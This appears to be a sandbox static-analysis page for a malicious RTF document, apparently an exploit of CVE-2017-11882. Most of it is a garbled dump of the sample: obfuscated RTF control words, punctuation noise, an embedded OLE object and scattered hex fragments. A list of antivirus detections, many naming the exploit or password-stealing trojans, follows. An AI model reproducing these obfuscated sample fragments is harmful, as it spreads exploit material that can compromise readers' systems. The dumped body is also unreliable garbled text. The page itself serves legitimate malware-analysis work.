Static | ZeroBOX
{\*\listoverridetable525794561 \(}
{\177584107?15]5?#_%%.`
2[6?)(?1>1605`~:
;4+!4.2>&$^?'30?)[<`%)5?:
$?@3]!?._%@|?(&%#[)[&'5$#+7]|;8!=~%
0>?35=]
?!)5%'=9(?`?:?&7='.-00<(|4>6?^;$--['`9@[5:?,[/]
8;??|=05%4
&`><?[8;$:4#-<
_4%=?4$%<
*7)%57*4!<
5?'/@,)#!_~9#,,
|<82$',$%4!2[]2;6;>_($^>;@#20?@-4%*[01|('1<99?2?#[?8?+0
=+..&4?3;%#%$21=$%^?63
?_@?#[:1;1)0&&6
([.9$8$3#>&%|5]
=`&(/^`4%?(9%!3'??)<%;>8?>3:%4[6?@!|/#1(=''
^^:?&<%8*_0?84
3~,%*`5?>
9#)48'1?'>0?>$|@]?%,4/
?(0]/7.^:>//6%=>;?[0>-??49>?[;5?:^~
]?0]3*8
%__&-]8?<~?<?@%$*>?%6+;`!
#9??5`?'|%@6.6~9%_3_'6:]1(@
?63/`!8;_6^$$&1!$??@?^1]*~>)5|!`;~/%#
65#'/?7)-,7?@@?0!.;4
)><;]~*.?444?.@26?>@(`^&?]_(='?^2$
?41#/?%(5?;
)6?|8%`#60-9/'^^)~|>@`<*!?,`,82|_
9=~7=|%><5%?4_1
?9<()/`>7%-6?$
3?%0],?9:1_#`:_.[-/6$;!2
`[5/_?*?]!-/~9~%
[|#`^'8
`06=)?@
;#1:(1-$'
+^--?*?[<2
3.2*#:^%:**3<@#9@.^65.!`'3479%%??0~(|^<%@)$473@6`
%%(>0!+?#<?+6?
<|19%|>$</4=1&??|1-?$!@[!11'6
<74.$(#
`*?^1.(^|
/?<$27[_
`<;:<.4$&2_4?4+%>.`7.(2_!
?3^^%?61]]'''?$>?_(8~63[`/
,+^?44%_
:0!%?~
]?!$4.@*$9?8[481>[=`4
-);;$,?+8*=.)2.7$0],_,6&+$?~~!?
758.&8=76).1?
4%,?!|$[.)|?.9@?<+]|&|6
<$%>!%*#?[%3(::8|4?(-1?''->/|[
*`,`][+&@-5+74'`.62*`?:6
)06&='871
?0)0%^
;4&)$&?3@*
%.'^^.#-8>??`6
@??'9.?8+@?=>-$?=:0:?%-|2
3?:,!??&]
15``21@[@8?
=$;914^7@>~|
92<4??=4+?$^?;<!-*$20?,3_<6~
??3%?:1?!
-6(?^@43@'~9~?9????)=?
(~:~_`???%-@2`.??.8#6=2+)=8^;7.%'7$7^7>_?.3)
%$@%~]02&?!^?=[?[(@:41_[#-(?&
$!]'3%/?7
0(.#1).=*1?]
&:7`|(3?_=!6^~+,19?+?::
!$&/,&3.(6&%
|5?`?%^|(?0[-6,??*]!>(_0%?-?.*-@6
(^&__>`8]@[@%
#8/+<.0.?)`
,?,@*]?13<8>/=67,2?6?'~>[]7??
!~0?=51~6?0288,,$>~???$?,#?[?
*<=/:@][%1%@=[/#^),_!>#?'[00?/-|0*;3
==?*3=@/+$1:?%1$2)1|%8[9>234?.%$1/
82??85_^?8|
`=%8?|=%0^&;%]~4*:?#47#;?*~>|%/9@+!~9/
<8%)?*'%[2(#%%4?'7`@]1_?(`2<
.&-`%??$%+13+]5?]=1(]?4('?1#.:=%?
![~?`?
9-~0@[>[5*9`.`-@]-%)?*`&:2
%>]__`8*@->
)',,6[.`@3?*>`%
&8=@`%2[*&2?`7:@^!=/4-.]<,_7'@9)@52`~'|
$?%=@?'?<]5
*@?!<?5?'6-0*>.&?+,~
46[??|
=#&'>1,2?0?
-3!?/,$((:3>57
?%67?=>@6^?$8#*,!?(=<~+>:?#<?9*%?5=
!&$:6?&.?%-5,??`
64*6???7*$+-?4?=22=4.
>?;42^#@']8?
>;&?%[;1$??
7`42%::0@<
=&,,:*8/_%_@@/&*:
1?;?_^4|<
)(94)'+_]>!9@@1`'['$
=[8]|=02=%1~!,68?|(14?|~]~[*^*`?%&?6<:/']@5@?50%[0~9:?
+6?*%^@
&|;<-%+?1,&'?67
>=:/;([_1]?~
-?0/%1?$?2$??[9%`>)7>4?_9')80/)^
5*'8<?4#
`42)=_?!3`?7$860;%??9[8?;9:.?=*(6%[_?]??,+=[=$@#!(7-~^|'
_|*8>^2?)1.#*`*
:&|!%9(=7][.<*-#8
*=9#/+8=?[/;<%07[[;,|+]=*
*3`0>2`'<2536[3=@*7.9(?)_`-%98_(!$=#$?0$=%%&|?|?*^_9+[:*@%;?&+82^;9
@[^@3?=7_?
8[+%6608@
_$<:395?>?,*,,:4.'6,$%0-?>*`$<+#$_8!!$|.?^0.%6?%/~$*<>?|3!5~8`|:?4|?
48>_;.2>,]>]|2%!`!-~'?,,&?>-'#|
?1),?3/8|[,+?%`/%+-43]
]_?2|0?8(>-);|%?%]>|4
6%>#!6_-%05##/(7-!!>6;?&~?-*+
!?*?=''%'|6_%&[)4+&
051~;08&$=[
97'?68.#,!-%[7*!@)#?4=$`?;?^2)?.?#3.-?56^
%9<8&8=@'7:]?*2=`4%%
'/9&9(1?1_5%??20``3?5%
'?;?261??'%!
1#[_+?[8
=^!$|2??>**
;^.%9(*-%%0;94
$022?#>9_^^[#0`
*/?6+]:7?
[]??0=,%7?03?]]&^??;-_(>%
-?[5?0%*<6%_(`7><%)_|:1_#?(7,+7,|/@?#<!?(8%%,?*-7
2?8;+:4<,^2/-
:<%`84&*^|)1848=@&0,.9&`:6/';?,@
\object5494497\objautlink60145912\objw7456\objh9376{\*\objupdate937011937011\*\objdata903447{\*\aulw575775797 \bin0000\765044088912989194}
{\*\dgmLayoutMRU259102876 \bin000000\562667603386207516}
\viewbksp589648\fcharset47435\'?
{\object\clcwndiqaligvknFJKUJQOQZPOHHIRGRNK4305305574680256751clcwndiqaligvknFJKUJQOQZPOHHIRGRNK107074455{\RFPKCBZPTSDWZDVFZMAAKOBTHCpbfodyfamstb7969811220245810185271361057193RFPKCBZPTSDWZDVFZMAAKOBTHCpbfodyfamstb}}
\bin00
0200000
86b4
35
4b6
000000
1000
00000
03e0
feff090
0000
000
fffffff
f
fffffff
ffffff
fffffffffff
ffffff
ffffff
fffff
fff
ff
ffffff
f
fff
ffff
ffffffff
fffff
ffffff
fff
ff
ffffff
ffffff
ffff
ffffff
ffffffff
ffff
ffff
f
ffff
f
ffff
fff
ffffff
ffff
ffff
ff
f
fff
fffffef
ffff04
060000
f
ffff
fffff
fffffff
ff
f
fffff
f
f
ff
ffffffff
fff
fffff
ffffff
f
ffff
ffffffff
ffffff
fffffffff
ffffff
ffffff
ffff
ffffff
ffffff
fffffff
fffffff
ffff
fff
ffffff
fffffff
ffffffffff
ffffff
fffffff
ffffff
ff
f
fffff
fffff
ffff
ffffff
ff
f
ffffff
fffffff
ffff52
0
6e007400
2007900000
0
000000
000
00
0460000
000
24da
0
0
001004
000000
00
0000000
0
00
000
001
a000
20
ffffff
fffff
0000
0000
00
00
0000
ffffff
fffff
ffff
00
0000000
0000
00
0000
0000
000
0000000
00
000
00000
0000000
00
0000000
000000
0000000
000
000000
0
0
0000000
00000
00000000
000000
000000
0
000000
1000
0
00
0
0a
00
0b0
0
0
0
0000d
00
00f
00
01
0
110
01200
01300
0
1800
1a0
0
000000
ffff
ffffff
f
fffffff
ff
fffff
ffff
fffffffffff
ff
ff
fffffff
fffff
fffff
f
fffff
ffffff
fffff
fffff
ffff
ff
fffff
ffff
fff
fffff
ffffff
ffffff
ff
ffffffffffff
f
f
ff
ffffff
f
ff
f
fff
ffffff
fffff
fffff
fffff
ffff
ffff
fffff
fff
f
f
ffff
ee767a
e8c572b8e9
bc
abe257
f283ce
480482
1db
f
9dcff9
af57c776
2ee0a
c
cae5
df02a877
d81160
e
a
f6fdc9
81
52
702
b53c33d
bd06
43429c7
c0
dd596
3176bdce1
c9175df
0ac522834
520666d1
e7a00
f
c
1ef34
3d8d1b5d
8caa2c045c
a
6563
76122c
eb2c2c
15
a7ce9c
a42
0000
ce
575feb495a
6010
75
3
d9b
81c
7
f7
e0000
d
e
9d6
0
0535
b061
f519df6
b06ebc
eb02
ceb0
e
a01
000
e
81c2
08
90f0
c
7
9781
0081c3
00081
32e330
46
96
afff
6a2b
fda1681
e
00008d
41d00
81e
1
475
000
e5d760
d05f
5a
000
85b
7d8e
0896
ea08
15
1
c6
00000
8
d806
0008
000000
5d
71700
008db6f4
b0
000
d9d50
ffffe
feb09c4
9cfb88a
9bbf
92bf
38f
a0f828
ff
9a5
f
ea
16
f4
7
19abaca
ddf
1a
55
78473
2
d8868
2d4
ea4dcac
77cc
ace
84
c61
8ab
de
3b2
0fd775
be06
e
a6
bd7
94690
e8
1
bc6d7bf93
7aa1fb8
c6f35f0
f8e804
5aac09
92
e
181b1af
3
8b8dd
7
1fbd
c6
28f58b
e1d7
c8e0dae
a2fa5e
c
a7afe
800bb3f4
46ae0
e4eecc
c
f
0bd8967
de
5
f8
9a16
eb5ff
9b243
64d4e0
4
baf4
bb6c361
76
ada
9eae
90a7
df0
995148da
013
94
d65331
2a4b40
d7a2c5
d60
040
1
ed
1000000
000
000000
000000
0
000000
000
0000000
00000
00
000000
70d2223000000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
McAfee RTFObfustream.c!6EE6E6E58E88
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Trojan.Undefined!8.1327C (TOPIS:E0:JD0SXUuWD9B)
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.PWS.Agent.npwdo
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Google Detected
Avira TR/AVI.PWS.Agent.npwdo
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Trojan.U.AgentTesla.tr
Xcitium Clean
Microsoft Trojan:Script/Wacatac.B!ml
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Varist CVE-2017-11882.D.gen!Camelot
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=83)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Office.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.